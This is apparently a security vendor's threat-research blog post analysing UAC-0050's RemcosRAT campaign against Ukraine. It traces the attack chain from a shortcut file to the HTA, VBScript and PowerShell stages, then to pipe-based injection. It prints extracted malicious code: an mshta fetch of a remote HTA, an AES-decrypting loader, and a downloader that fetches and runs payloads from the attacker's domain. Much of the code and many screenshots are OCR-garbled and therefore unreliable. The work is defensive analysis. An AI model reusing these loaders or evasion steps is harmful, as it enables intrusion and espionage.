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Known for its history of relentless cyber-attacks against Ukrainian targets, the UAC-0050
threat group is at it again. But this time, Uptycs researchers have discovered an advanced
strategy that allows for a more clandestine data transfer channel, effectively circumventing
detection mechanisms employed by Endpoint Detection and Response (EDR) and antivirus
systems.

The group’s weapon of choice is RemcosRAT, a notorious malware for remote surveillance
and control, which has been at the forefront of its espionage arsenal. However, in their latest
operational twist, the UAC-0050 group has integrated a pipe method for interprocess
communication, showcasing their advanced adaptability.

Leveraging pipes within the Windows operating system provides a covert channel for data
transfer, skillfully evading detection by Endpoint Detection and Response (EDR) and
antivirus systems. Although not entirely new, this technique marks a significant leap in the
sophistication of the group's strategies.

Targeting the Ukrainian government, the UAC-0050's campaign hints at a politically
motivated agenda with potential geopolitical implications. The employment of RemcosRAT
and the innovative use of pipe methods for data movement spotlight the group's focus on
stealth and intelligence gathering. While the possibility of state sponsorship remains
speculative, the group's activities pose an undeniable risk, especially to government sectors
reliant on Windows systems.

This blog outlines the technicalities of the attack, providing expert analysis from our
researchers at Uptycs. From understanding the nature of pipes in Windows for interprocess
communication to analyzing the real-world impact of these advanced evasion techniques, we
offer a comprehensive look into this sophisticated cyber-espionage operation.

Initial investigation

Our Threat Research Team initiated an investigation after the Uptycs platform alerted to a
suspicious .Ink file on December 21, 2023. Analysis revealed UAC-0050's deployment of
RemcosRAT in a targeted cyber intelligence operation against Ukrainian government
agencies.
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The initial attack vector is yet to be pinpointed, though indications lean towards phishing or
spam emails, masked as job propositions, targeting Ukrainian military personnel for
consultancy roles with the Israel Defense Forces (IDF).

This deceptive tactic, as detailed in the document (Figure 1), involved roles centered around
training IDF soldiers in modern warfare techniques, reflecting a complex ruse to infiltrate
military networks.
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Figure 1-RemcosRAT Military theme

Corroborating these findings, the Ukrainian government, in early December 2023, officially
acknowledged a similar attack pattern. As reported on their official website, this incident
aligns with the modus operandi of UAC-0050, further solidifying the group's persistent and
calculated application of RemcosRAT in their cyber-espionage endeavors.

Malware operation

The LNK file is responsible for initiating the download of an HTA file. Within this HTA file lies
a VBS script that, upon execution, triggers a PowerShell script. This PowerShell script
endeavors to download a malicious payload (word_update.exe) from a server. Upon
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launching, word_update.exe executes cmd.exe and shares malicious data through a pipe.
Consequently, it leads to the launch of explorer.exe with the malicious RemcosRAT residing
in the memory of explorer.exe.

Attack Chain

The word_update.exe launches cmd.exe, followed by the
utilization of the CreatePipe API to facilitate the exchange of
malicious data from word_update.exe to cmd.exe.
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Figure 2—-RemcosRAT workflow

Technical analysis

The investigation begins with a .Ink file. A .Ink file is a Windows shortcut that points to
another file, folder, or application. It allows users to access the linked resource quickly
without navigating to its location. Cybercriminals can create .Ink files that, while appearing to
be shortcuts to legitimate applications or documents, actually point to and execute malicious
software.

In this case, the malicious .Ink file gathers information regarding antivirus products installed
on the target computer. It verifies if the display name corresponds to 'Windows Defender'. If
S0, it proceeds to replace the term with an empty string. As a result, the condition within the
‘i’ statement becomes false, preventing the execution of the ‘exit’ statement. Consequently,
the script seamlessly continues with any subsequent code.

$bIXmsjq = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName S$env:computername;
foreach ($QSkPiHV in $bIXmsjqg )
{
if ($QSkPiHV.displayName -replace 'Windows Defender', ''){ Exit}
bi
\WA\\*2\\\\msh*e '??ht??t?p?://new-tech-savvy.com/6.h???t??a"'.Replace('?',"'")

Figure 3—LNK file

Towards the end of the .Ink file, the threat actor has obfuscated the URL string. Upon
deobfuscation, the string is then executed using MSHTA. The execution code is provided
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below.

c:\windows\system32\mshta.exe" http[:]//new-tech-savvy[.Jcom/6[.]hta

We retrieved the 6.hta file for analysis, discovering that it contains a VBScript file with fully
obfuscated script content.

L</poay>
3 <scrips

) &chr (921~ (&H324) ) &chr (790- (&H2; ) &chr (700~ (&H259) ) &chr (983~ (£H363) ) &chr (1024~ (§H397) ) &chr (306- (&8HC3) ) &chr (226~ (&HT4) ) &chr (620~ (8H24C) ) &chr (4
6— (LHAL) ) schr (619- (£H1F2)) &chr (377- (&H123) ) &chr (507- (&H1GA) ) &chr (905- (¢H31D) ) &chr (1007- (£4H3CF) ) &chr (400- (&H147) ) &chr (433- (&H143) ) &chr (425- (§H146) ) &chr (853 (. 2C) ) &chr (259- (&HFE) ) &chr (493 (LH1ES) ) schr (597- (4H235) ) &chr (
394- (&H16A) ) &chr (808- (8H308) ) &chr (380~ (£H15C) ) &chr (559- (8H20F) ) &chr (749- (£H2CD) ) &chr (743~ (8H2CT) ) 4chr (328- (£H128) ) &chr (652- (8H26C) ) &chr (317- (&H11D) ) échr (1015~ (§H3D7) ) &chr (796 (8H2EC) ) &chr (910~ (&H36E) ) &chr (628~ (§H254) ) &chr (910
—(£H36E) ) tehr (425- (£H189) ) schr (374- (4H15€) ) échs (569~ (H218) ) Gchr (782~ (GH2EE) ) &chx (1055- (£H3DB) ) schx (989— (6H374) ) &chs (651 (cH246) ) Schr (L77- (H91)) tehx (951- (£H346) ) schx (994- (6H38A) ) chr (779 (SH2AT) ) tchr (470~ (SH1C9) ) tchx (356~ (&
H1SD) ) eohr (226- (sHC2) ) schx (180~ (s294) ) schz (630- (sH25E) ) achr (1023~ (SH3DF) ) echx (S6¢6- (sH216) ) schr (250- (<HDA) ) schx (433 (sH181) ) achx (688- (<H280) ) echx (450~ (¢H1A2) ) schx (798~ (sH2FE) ) schx (183- (cHAL) ) echr (41— (sH2E1) ) schr (s8312))4
©hr(315-(&HL1B))&chz (464- (8H1B0))&chz (915- (&H373) ) &chx (546~ (&H202) ) &chr (558 (&H20E) ) &chz (562 (8H212) ) &chz (369- (&H12D) ) &chz (301- (&HC4H) ) &chr (1042~ (8H3AS) ) &chz (1011- (4H3D3)) &chx (S56- (&8H313) ) &chzr (258 (&HAL) ) &chz (379- (8H101)) &chz (
610-(&H255) ) &chr (991~ (&H3D5) ) &chr (349- (&H13D) ) &chr (9658- (&H3AS) ) &chr (472 (&H1] )&chr( - (&H34E) ) &chr (391~ (&H167) ) &chr (494- (&H1CE) ) &chr (233- (&HCY) ) &chr (603~ (&H23B) ) &chr (718- (8H2AE) ) &chr (10: (&H3DE) ) &chr (361- (§H149)) &chr (791- (&
H2F7) ) &chr (326- (§H126) ) &chr (353- (§H141)) &chr (1005- (8H3CD) ) &chr (607- (&H23F) ) &chr (508~ (§H1DC) ) &chr (273- (&HF1) ) &chr (332- (&H12C) ) &chr (733- (&H2BD) ) 4chr (349- (HFA) ) &chr (358- (8H105) ) &chr (546- (&HL ) &chr (512- (&H1E0) ) &chr (310- (6HFY) )&
chr (288 (68100) ) £chx (305 (SEEC) ) schr (316~ (sH104) ) schr (217~ (8HAS) ) £chr (822~ (£H329) ) Gchr (940~ (£H3A2) ) Schr (409~ (6H179) ) schr (652~ (£H26C) ) 6Chr (451~ (§H1A3) ) 6chr (471 (4H1B7) ) £chr (512~ (§H1EO) ) &chr (458- (SHLAA) ) £chr (346- (8H13A) ) bchx (3
—(&HLSE) ) &chr (456~ (¢H1AB) ) &chr (213 (4HBS) ) &chxr 2- (&H35C) ) &chr (3. (&H128)) &chr (554- (8H20R) ) &chr (3. (&H128))&chr (801-(&H301) ) &chr (138- (£¢HEA) ) &chr (906~ (8H36A) ) &chr (990~ (8H3BE) ) &chr (536- (SHLFS) ) &chr (442- (8H19A) ) &chr ( - (4H
}) &chr (1061-(&H3BC) ) &chr (1004- (SH3TF) ) &chr (863- (8H33F) ) &chr (244- (£HIB) ) &ohr (T15- (£H264) ) &chr (1078- (S4H3BF) ) &chr (710- (&H: )} ) &chr (212- (&HCA) ) &chr (341~ (£H135) ) &chr (972 (8H3AC) ) &chr (535- (&H1F7) ) &chr (907 (£H36B) ) schr (192~ (£HAO) ) &chr
(883- [GH3ET) ) schx (271- (¢HEF) ) cchx ($05- (sH3ES) ) schx (12— (sH3TO0) ) echx (625- (sH2S1)) schx (281- (eHFY) ) schx (294~ (sH10€) ) schx (522- (SH3TA) ) echx (07— (cH3EB) ) schx (651- (sH2EB) ) schx (421- (sH185) ) chr (S85- (cH3C3) ) schr (832~ (cH384) ) schx (315~ (s
HLLB)) &chr (567- (&HIDE) ) &chz (352- (&HF9) ) &chz (496- (8H179) ) &chz (332- (&H12C) ) &chr (723 (& €)) &chz (530- (4H1F2) ) &chx (232~ (&HEE) ) &chz (4 (&HLA3) ) &chz (830- (8H2D4)) &chz (626 (&H24A) ) &chx (457 (&H1S0) ) &chr (976- (&H362) ) &chz (564~ (sH1D1)) &
chr (657-(&H268) ) &chr (260- (§HF7) ) &chr (224~ (&HDE) ) &chr (2 (&HFO) ) &chr (455- (§H1C8) ) &chr (452- (&H1A4) ) &chr (494~ (&HICE) ) &chr (376- (&H158) ) &chr (662- (§H276) ) &chr (263- (&HET) ) &chr (1024~ (8H3EQ) ) &chr (497- (&H1D1) ) &chr (387- (&H163) ) &chr (280

) &chr (574~ (6H21E) ) 6chr (223~ (§HBE) ) 6chr (T42- (§H2C6) ) 6chr (807~ (8H307) ) schr (350~ (6HL3E) ) 6chr (983~ (sH3BT) ) chr (963~ (6H3A3) ) Schr (T72- (6H2E4) ) Gchr (s8348) ) ez (508~ ($H1DC) )&
2) ) &chr (476~ (£H183) ) &chr (699~ (&H254) ) &chr 5- (£H2DE) ) &chx 4- (8H30E) ) &chr (705- (&H: )) &chr (774- (8H2E€) ) &chr (815- (4H2F8) ) &chr (526~ (8H1DE) ) &chr (979- (&H3A3) ) &chr (691~ (8H283)) &chr (570
- (&HZ1R)) &chr (980~ (&H3R9) ) schr (879- (4H34F) ) &chr (167- (8HTE) ) &chr (434- (&H! )&ehr ( - (&H341)) schr (459- (8H197)) &chr (. —~(&H15D) ) &chr (L065— (&H3DS) ) schr (442- (§H152) ) &chr (549- (£H1CO) ) &chr (254 (&HY0) ) &chr (305- (§H124) ) &chr (265- (L4HFF
)) &chr (720~ (&£H2BO) ) schr (429~ (8H18D) ) &chr (326 (8H126) ) &chr (314- (&HL1A) ) &chr (530~ (8HIF2) ) schr (647~ (£H267) ) &chr (974 (8H3AE) ) &chr (445- (8H19D) ) &chr (744~ (§H2C8) ) schr (248- (. )&chr (875~ (8H34B) ) &chr (527 (&HLEF) ) &chr (770- (§H2E2) ) &chx (
603- (£8233) ) tchz (634~ (4H25A) ) bchx (417- (sH181) ) schx (451 (GHIAS) ) £chx (928- (4H380) ) tohx (€41- (8H2€1)) schx (575- (£H223) ) schx (342— (£HL10) ) Gohs (948~ (£H345) ) echr (584~ (4H1DE) ) schx (965 (SHIAS) ) Gchx (715~ (SH286) ) tohr (1002- (£H389) ) tchz (632
—(H215) ) sch (330~ (sHE2) ) schx (158 (<HA€) ) schx (S05- (sH188) ) schx (254- (SHAG) ) cchr (442~ (sH15E) ) schx (435- (sH183) ) schx (€43 (H23A) ) schx (303- (<HCL) ) schr (379~ (cH15B) ) schx (621 (sH224) ) schx (€38~ (cH242) ) schx (1076~ (cH3D3) ) schx (429~ (sH1A0
)) &chz (709 (&H2BB) ) &chr (256~ (SHEQ) ) 4chz (357 (8H145)) &chz (763- (&H2DB) ) &chr (305 (&H111)) &chz (220~ (&H378)) &chz (227 (&HC3) ) &chz (866- (&H342) ) &chr (777~ (&H2E?) ) &chz (728- ( )) &chx (950- (8H396) ) &chz (5 (&H22€) ) &chz (566~ (8H216))&chx(
776~ (&H2ES) ) &chr (1013~ (6H3DS) ) &chr (882- (&H352) ) &chr (957- (&H39D) ) &chr (391- (&HL67) ) &chr (666 (&H2TA) ) &ch (623 (§H24F) ) &chr (250~ (&HBE) ) &chr (920- (&H32F) ) 4chr (456- (§H15B) ) &chr (451~ (6H1A3) ) &chr (236 (&HIS5) ) &chr (723- (§H259) ) &chr (266- (&
HBF) ) &chr (280 (&H10B) ) 4chr (488- (§H1DE) ) &chr (387- (6H163) ) &chr (867 (&H343) ) &chr (871~ (&8H347) ) échr (947- (6H393) ) &chr (324~ (&H124) ) &chr (; - (£H34E) ) chr (179~ (&H93) ) &chr (643- (6H263) ) &chr (770~ (&H2EZ) ) &chr ( — (&H2F8) ) &chr ( - (&H2FS)) &
chr (841-(&H329) ) &chr (729- (£H2BY) ) &chr (511~ (8H1DF) ) &chr (500~ (&H1D4) ) &chr (504- (&H1DS) ) &chr (646- (8H266) ) &chr (839- (&H327) ) &chr (690~ (&H292) ) &chr (619~ (£H24B) ) &chr (373 (. 55)) &chr (452~ (&H1A4) ) &chr (321-(&H121) ) &chr (975- (§H3AF) ) &chr (
519- (ZHLET)) Gehr (420- (H14D)) Gchx (1004~ (£H372)) SChr (251- (SHIEC) ) Chr (936- (LHSSE)) GChr (742~ (H2R9)) Schx (03— (4H29F) ) 5CNX (883— (H3LC) ) Gohr (1048- (£H39E)) Gehr (531- (SH1CS))&chr (522- (SH1ER)) GChr (867- (GHISE)) cohr (211- (GEB3)) tohr (701

Figure 4—-HTA file contains Vbscript

(£H148) ) £chr (613~ (£HLF3) ) &chr (65— (£H1E0) ) £ohr (993~ (£H3BY

o7

Following the successful deobfuscation of the VBScript, we obtained a PowerShell script.
The snapshot below illustrates the deobfuscated code result.

The PowerShell script below represents the deobfuscated flow:

1. It initializes a string encoded in Base64, referred to as $lcjcj, and a second Base64-
encoded string denoted as $VZnHIGNa.

2. It creates an AES decryption object $WrwQUj with specific properties such as
CipherMode, PaddingMode, BlockSize, KeySize, and Key, using the Base64-decoded
value of $VZnHIGNa.

3. It extracts the initialization vector (IV) from the payload.

4. It creates a decryptor and decrypts a portion of the payload using AES.

5. It creates memory streams and a GzipStream to decompress the decrypted payload.
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6. It converts the decompressed payload into a byte array.

7. It converts the byte array to a UTF-8 string.

8. It uses the | powershell - syntax to execute the decrypted payload as a new PowerShell

process.

9. The actual payload is contained in the variable $hQkGkZK. This payload is the result of

executing the PowerShell code contained within the original Base64-encoded string

$lcjcj
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Figure 5-Uptycs alert: MSHTA execution with internet

The outcome ($hQkGkZK) of the deobfuscated process yielded another PowerShell script

containing encoded data, as depicted in the snapshot below.
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Function drU(Byval Inc)
Dim gxd
Dim caz
caz = 581
Dim Tgw
Ygw = yE3 (Inc)
If Ygw = 7000 + 1204 Then
For Fach g¥d In Inc
Dim WzE
WzK = W2k & Chr{xd - caz)
Next
End If
drU = WzK
End Function
Function goT()

Dim Inc
Dim EAg
EAg = fpowsrshell.exe -ExecutionPolicy UnRestricted Start-Procsss 'emd.exe’ —WindowStyle hidden -ArgumentList |[/c powsrshell.exe Slejcj =

TCgyar M77g03 OdF! 1713GrEsmUopN. HNG/BGRYP TZNEpDT YREacMASWL1rOjg T12TEWE: 18u7h KLvEE Tama
MM2J0rk1De LnSqZHTLACLONHO4F 67 ENRMBUIUPA/ caDScDAe LkSXIYFRM/ Yy Lb8 yCHXCTWLG9TYGI+HOL Ok I SVLERTLSR+NHY Oe / 8aUz1+5iC: Icaji i 'L1I700SpPIXILKIp+hvEws
EXlJmEﬂdMlD/TE’OEHj+GQSlM4hJJDXgISpw‘p3}le47USkOEfzszj5N5+zﬂJfrk]NzEVqEB7EgZE’E‘ErH5QGVm.haAln7]12bH3BBHESSWDEOBQQxfhwanle/LTZkleEuEgZcanlkaL,SZEASVDyE‘ththE’nSprEVSllthYnhPAdetDnl&w
CYVECTtjg+URz11H] iu@DZ2vNS7740V1uXh09IXCNEKS9g105 fUuY tFlceKSAVOUnDSXCewXYQeabgBPB+70CErKH]e i 1aXyRrb jy3KOPhCFCaKoTKN22T1jQgs31C2Up5GEDLbimICts] SEHMSES ky+4MIvF32Y1 PVGNSTHG
zaDMGSLldF‘PlOBUSnErlv&ZlJJVGOngrjTyIkeQN/T'iKchwlj2+xYH97nSanWlE‘NY4dux2VVEPOXM£K4tszc+FIJAthIEexIr+ZFIBE‘UDSOlPElLueESVwaULhPf/QDFAchOsM RbD1 32
DR/+pBEzTUE3t21i5 EMxY+R20TChbzon/is+E" ; §VAnHIGNa = 'cPIVWAVRemdNbHIUV2p2elhvV2dCVHBZSGRCC25200k="; SWrwQUj = New-Object 'System.Security.Cryptography.AcsManaged';SWrwQUj.Mode =

ipherMode] : : ECB; $WrwQUj.Padding = [System.Sscurity.Cryptography.PaddingMode] s :zeros; $WrwaU].BlockSize

[System.Sscurity.Cryptography.

128; $WrwQUj . ReySize = 256;SWrwaUj.Rey =

[System.Convert] : :FromBase645tring[(SVAnHIGNa) ; SPXgai = [System.Convert]::FromBase64String ($lcjci $FXgai[0..15];$WrwQU3.IV = SmihntCEE; SuPeoDSYiT =
SWEwQUJ . CreateDecryptor () ; 5ayVBWybDT = $uPeoDSYiT.TransformFinalBlock ($PXgai, 16, $PXgai.Length WrwQUj .Dispose() ;$AEogas = New-Cbject System.TO. NemoryStream( $ayVBWybDT
) 7SRe¥cU = New-Object System.IO|MemoryStream}SssuCyzDxn = New-Cbject System.IO.Compression.| tream|$AEogas, ([IO. on. Mode] : : D y -CopyTo( $Re¥cU

) +$ssucyzDn. Close () ; $AEeqas . Close (17 [bytal]] SCuCEAVEY = $RevcU.Toarzay() ;ShokGkak = [System.Text.Encoding]: sUTES.GetString (SCUCKVRy) ; ShokGRZR | powershell — )"
Din Rae
Set Rae = vOJ (drU(Array (668, 656, 680, 695, 686, 693, 657, 627, 664, 685, 682, 689, 689) )
Rae.Run(EAg), 0, trus
self.close ()
End Function
Function yEj (Byval Ygw
VE3 = VarType (Ygw)
End Function
Function vOJ(ByVal objectType
Set voJ = Createobject (chjsctType
End Function
qoT ()

Figure 6—Powershell script

1. It creates file paths by leveraging the user's AppData directory and specific file names.

2. It verifies the existence of particular files (word_update.exe and ofer.docx) using Test-
Path.

3. If these files are present, it invokes the DcO function to carry out actions based on the
file extensions. In the absence of these files, it utilizes the JWF function to download
data, writes it to a file using JBH, and subsequently calls DcO to perform actions based
on the file extensions.

function JBH($0Gd, $UIM){
[I0.File]::WriteAllBytes ($0Gd, $UIM)

1
function DcO ($0Gd) {

if (SoGd.EndsWith((HrL @(3574,3628,3636,3636))) -eq $True) { rundll32.exe $oGd} > if filename extension ending in ".dl)," it is executed using rundll32.exe
elseif ($oGd.EndsWith ((HrL @(3574,3640,3643,3577))) -eq $True){ powershell.exe -ExecutionPolicy unrestricted -File $ocd} —> if filename extension ending in “.ps1,” itis executed using powershell.exe
elseif ($oGd.EndsWith ((HrL @(3574,3637,3643,3633))) -eg $True){ misexec /qn /i $oGd} --> if filename extension ending in ".exe," it is executed using misexec.exe
else { Start-Process $oGd 133
function JWF($3Vs)( > payload downloading function
$Fzf = New-Object (HrL @(3606,3629,3644,3574,3615,3629,3626,3595,3636,3633,3629,3638,3644))
[Net.ServicePointManager] : : SecurityProtocol = [Net.SecurityProtocolType]::TLS12

$UJM = $Fzf.DownloadData($3Vs)

return $UM
}
function HrL($1UX){

$AVN=3528

$BIX=$Null

foreach ($BKV in $1UX) { $BIX+=[char] ($BKV-3dVN) } return $BIX }
function WON () {

$LOJ = $env:AppData +

$xSzFgBICuDaU = $LOJ Payload Name
if (Test-Path —Path $xSZFGBICUDAU

DcO $xSzFgBICuDaU

1

Else{
$YEEIVeRSjgTSs = JWF (HrlL
@(3632,3644,3644,3640,3586,3575,3575,3638, 3629, 3647, 3573, 3644, 3629, 3627, 3632, 3573, 3643, 3625, 3646, 3646, 3649, 3574,3627, 3639,3637,3575,3647, 3639, 3642, 3628, 3623,
3645, 3640, 3628, 3625, 3644, 3629, 3574, 3629, 3648, 3629) ) > payload downloading UR
JBH $xSzFqBICuDaU $yEEIVeRSjgTSs
DcO $xSzFgBICuDaU

SFDOfKIawkhYH = $LOJ + Payload Name

if (Test-Path —Path SFDGEKIAwKhYH){ DcO SEDOfKIawkhYH }

Else{

CoZLGfafxCuPY = JWF (HrlL
@(3632,3644, 3644, 3640,3586,3575, 3575, 3638, 3629, 3647, 3573, 3644, 3629, 3627, 3632, 3573, 3643, 3625, 3646, 3646, 3649, 3574, 3627, 3639, 3637, 3575, 3639, 3630, 3629, 3642, 3574,
3628,3639,3627,3648)) > payload downloading URL
JBH $FDofKIawKhYH $CoZLGfafxCuPY
DcO $FDOfKIawKhYH
} } WoN

Figure 7—Powershell script and payload execution
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Uptycs captured all PowerShell activities deemed suspicious, presenting the de-obfuscated
content in the snapshot.

Sliois 1 11 Alerts 7 Tactics Advanced Threat Imzz &
4~ 47 Events 13 Techniques 2 12129 (:1 powershellexe (Process)
SIGNALS DETECTION GRAPH "
I
Solect © m—
high, medium, low -
1\w1. 8\pow 11.exe” fonpoli 1 start-pr
=] I md.exe’ -windowstyle hidden -argumentlist {/c powershell.exe $lcjcj = 'aaasamaaaaaaasaaaa

Alerts/Events Associated with Selected Process

?3 T1027 - OBFUSCATED FILES OR INFORMATION - WINDOWS
o PowerShell decoding/encoding base64 data (1)

® O] (<2»)

[ o detected

T1027 - OBFUSCATED FILES OR INFORMATION - WINDOWS
PowerShell obfuscated base64 data (1)

A
T1059.001 - EXECUTION - WINDOWS | ]
I

+1more Alerts/Events.

et

WALK THROUGH Process id 8320

Process name powershellexe

“« >

Process path c\wil i 0\
Events for all processes [iaisSagri:is

4~ AllEvents 47 @ AllAlerts (11 [ Process 20 Files 4  © Socket'2 [ Registy 31 @ DNSLookup 0 [ s i P oxe”

Figure 8—Uptycs alert: powershell suspicious entry

The payloads, namely word_update.exe and ofer.docx, are downloaded from the domain
new-tech-savvy[.]Jcom.

The payload files(Doc,exe) are placed in the root of the roaming folder(%appdata%).

Payload

Request for downloading word_update.exe.

:*g Windows PowerShell 1SE
UFle fit View Tools Debug Add-ons Help

DEeH4 09030 =8| Foo o@E.

|' Untitledd.ps1 [Read Only] | UntitledS.ps1 [Read Only] %

'
'
'
20 misexec /an /i SoGd
HE 1
[
123 |}
1 24 Efunction JWF(§ivs){
HET $Fzf = New-Object (HrL @(3606,3629,3644,3574,3615,3629,3626,3595, 3636, 3633, 3629, 3638,3644))
"2 [Net.ServicePointManager] : : Secur ityProtoco] — [Net.SecurityProtocolTypel: :TL512
Voer UJM = $FzF.Down loadData($]Vs,
HE
|29 return SUIM $iVs = http://new-tech-savvy. com/word_update. exe
|30 i http: //new-tech-savvy. com/word_update. exe
| 31 Efunction HrL(STUX){
' 32 $dwN=3528
o33 $BIX=SNuTl
! 34 foreach($BKV in $TUX}{
I $BIX+=[char]($BKV-SdVN)
136 T
I 37
HEET write-output $BIX
139
|40 return $BIX
HE s
i 42 Efunction WONQ{
' 43 $L0] = $env:AppData + '\
i
HEEE write-output $x52FqEICuDaU
1 46 if (Test-Path -Path $xSzFqBICuDaU){
I write-outpu “mytest’
3 48 write-output $xSzFgBICuDall
' 49 DcO $xS5zFqBICuDal
1oso 1
51 () Elsef
|52

153 write-output SyEEIVERSIgTSS

! 54 JBH $xSzFaBICuDall SvEEIVeRSiaTSs

Figure 9—Downloading executable payload

Upon running word_update.exe, it generates a self copy file in a newly created folder within
the roaming directory(%appdata%). However, the name of the self copy file is altered.
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1 11 Alerts 7 Tactics Advanced Threat I 12/22] &
A~ 47 Events 13 Techniques 2 12/22]

© 10110

ﬁ] word_update.exe (Process)

SIGNALS DETECTION GRAPH a
I
Select
L
high, medium, low - °

= Iv-[v\HSE,-S\-\appdata\rﬂaming\wnrdiupdate.Exe" I

Alerts/Events Associated with Selected Process
P TAQQ02 - EXECUTION - WINDOWS
" Process Running From AppData directory (1)

T1082 - SYSTEM INFORMATION DISCOVERY - WINDOWS
Process attempting to get system information (3)

TLO16 - SYSTEM NETWORK CONFIGURATION DISCOVERY - WINDOWS
Process ing to get system 1)

‘ +2 more Alerts/Events

Processid 5104
WALK THROUGH
Process name word_update exe

“ > i _update.exe

Events forall processes [zlasagrt:iid i & _update.exe

4~ AlEvents 47 @ AllAlerts 11 {7 Process 20 Files 4  © Socket 2 3 Remistry 31 @) DNSLookup 0  [f

Figure 10-Uptycs alert: Process execution from AppData folder

C:\Users\<username>\AppData\Roaming\WordpadService\fmTask_dbg.exe

The malware established persistence by creating an entry in the startup folder through the

generation of an LNK file. Consequently, fmTask_dbg.exe is executed each time the machine
is booted.

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\fmTask_dbg.Ink

The file contains unusual resource data, which is then transferred to memory, and the
content undergoes decryption through XOR operations. This is the first level of decryption.

73 1E Jjae word_update.D&e60ET
8B5S 08 mov edx,dword ptr ss:|[ebp+s]
0355 F8 add edx,dwnrd ptr ss:|ffebp-3j
5955 F4 mov dword ptr ss:[febp-CJ,edx
SE45 F4 mov eax,dword ptr ss:|Jebp-Cf)
8BODS mov ecx,dword ptr ds:[eax]
594D FO mov dword ptr ss:[ebp-10§,ecx
8B5S FO mov edx,dword ptr ss:|lebp-10]
3355 10 xor edx,dword ptr ss:|jebp+104
SB45 F4 mov eax,dword ptr ssiebp-C])
8910 mov dword ptr ds:[eax],edx

~ EB D1 jmp word_update.D&&0ES
anre e e el

Figure 11—Xor loop

Following this, it invokes the WriteFile API function, where the file handle is denoted by
0x59c, pointing to an unnamed file: \filesystem\npfs. Unnamed pipes necessitate the passing

of their handles to the corresponding communicating processes to facilitate the exchange of
data.

File Unnamed file: \FileSystem\Mpfs 0x 594

File Unnamed file: \FileSystem\Mpfs 0x59¢c
Figure 12—Handle of unnamed pipe object in which data written by WriteFile API
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https://attack.mitre.org/techniques/T1547/001/

Threat actors often resort to techniques such as process injection or hollowing to execute
malicious code within authentic processes. However, employing a clever strategy, attackers
leverage pipes to effectively bypass detection by EDR/AV systems. Initially, the malicious
actor spawned a legitimate child process, cmd.exe, using the CreateProcess API without
activating the suspended mode. Subsequently, the attacker implemented a plan to move the
decrypted output data from the first level (depicted in Figure 11) to cmd.exe.

< 0 [fLateral Movement 0 [) Powershell | 49 &% Network 0 & Api 502  ()Http'2  [gRpc 0 @ Amsi 8  Ewmi0 [ESyscal 0 A

APl ¥ Args PID Path Command

createpipe

CreatePipe {"*hReadPipe": , "*hWritePipe" : "0 . c\users\-\appdata\mammg\wm c\users\-\apDda{a\mammg\wonﬂ update.exe”
CreatePipe {"*hReadPipe": “*hWritePipe": "0 ciusers [ appdata\roamingwor - “cusers\[JIIll\appdata\roaming\word_update.exe”

Figure 13—-Uptycs event alert: Createpipe write event

This process was executed through the WriteFile API, utilizing a handle directed at an
unnamed pipe. Upon successful completion, the data was transmitted from word_update.exe
to cmd.exe. Figure 14 visually represents the memory of cmd.exe with Read-Write
protection, housing the malicious data shared through the pipe.

%2 Refresh o3 Options | &8 Find handles or DLLs  2<* System information | O ¥ Search Processes (Cri+K) g el
Processes  Services MNetwork  Disk
B crd e i O % P Username Description
kB NTAUTHORITY\SYSTEM
00000000 if 49 0b d7 la 3c &3 44 fb 78 38 e6 8a 97 a2 2e .I...<cD.xB..... A kB NTAUTHORIT\SYSTEM NT Kernel & System
00000010 27 20 Ob cl 02 78 30 84 22 S99 a3 21 8f 7c 89 77 ' ...x0."..'.|.w e Wik o Sistisi Mangais
00000020 == 28 4b 35 92 be b2 45 cf 7d c3 2e b3 ec 49 d7 . (KS...E.}....TI. 9
00000030 b4 4 4f be dl 47 37 £4 92 a0 48 €% Te 25 bé fb .00..GT...Hi~E.. 0 _ intemumpisand BPCs
00000040 fd 5d €2 2a fb 25 4d b0 42 b0 66 cf ab 60 c% af .].*.3M.B.f.. .. pheme RemcosRAT is encrypted
00000050 71 b0 al 76 78 98 1c 34 =5 50 ad €b d5 22 54 €5 Q..vE..4.P.k..T. e Chieit Saver Ritine Progecs
00000060 aé 51 =0 cl 83 &a =d b3 a2 2d de 44 53 01 2 26 .0...j.....DS..c i i
00000070 58 2c 7d 91 €a £8 05 45 11 db ba £0 bS 2= 37 b6 X, }.3..E.veu..T. e Wf"dc""’gSta’t'Up.ApF"“t"’”
00000080 d2 £9 c9 38 23 32 62 4b 21 23 27 bf 94 a2 Sc 49 ...8$2bKi#.....T 1B Client Server Runtime Process
00000090 18 £d 07 c5 9d 6f 7c 9b 14 29 eb 4f 1f 7f 4a €2 ..... 0lau).0..0. viB Windows Logon Application
000000a0 52 51 73 Sa 13 a8 31 cd 8b 7c lc ea &7 3£ 06 d7 RQsZ..l..|..g?.. e saiiiais Fort Bierer Hisk
000000b0 c5 d2 al aB 3£ £1 df &7 85 &£ 7c d7 99 15 Oc Tb 2..g.ol { e ey
000000e0 2b d1 56 14 7 =6 =7 la 32 13 Gb d7 16 3c &3 44 +.V..... 2....<cD ESELOR WY EOW iianager
000000d0 £f 78 38 =6 75 €8 a2 2e 9 20 0b cl 08 78 30 94 .x8.uh... ...x0. 1B Windows Explorer
Qoooo0oen &2 Tc 5 VB Windows Security notification...
B020A0K0: o3 e VirtualBox Guest Additions Tra...
00000100 e :
00000110 €3 VB Microsoft Edge
00000120 84 VB Microsoft Edge
00000130 82 0]:] Microsoft Edge
00000140 35 !
DenanIE0 0 VB MfcrosoftEdge
00000160 20 VB Microsoft Edge
00000170 a2 VB
00000180 08 VB Process Hacker
e VB Google Crash Handler
VB Google Crash Handler

B conhost.exe 6.6 MB Console Window Host

Figure 14— Data moved to memory of cmd.exe
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https://learn.microsoft.com/en-us/windows/win32/ipc/interprocess-communications

The data in the memory is decrypted during runtime and initiates the execution of the
Remcos Remote Access Trojan (RAT). After that launch explorer and moved malicious data
in that memory.

00000000
00000010
00000020
00000030
00000040
00000050
Qoo00oe0
Q00000070
00000080
00000090
000000&a0
000000b0
000000c0
00000040
0000000
0D00O0ED
00000100
00000110
0oonolzo
00000130
0oo00140
00000150
00000160
Q0000170
00000180
00000190
000001a0

Re-read

L Ly ww

R

it 49 0b d7 1a 3c 63 44 fb 78 38 26 8a 97 a2 2e .I...<CD.X8..... Py
27 20 0b cl 08 78 30 94 22 99 a3 21 8Ff 7c 89 77 ' ...x0."..!.|.W R
ee 28 4b 35 52 be b2 45 c& 7d c3 2e b3 ec 45 d7 . (K5...E.}....TI.
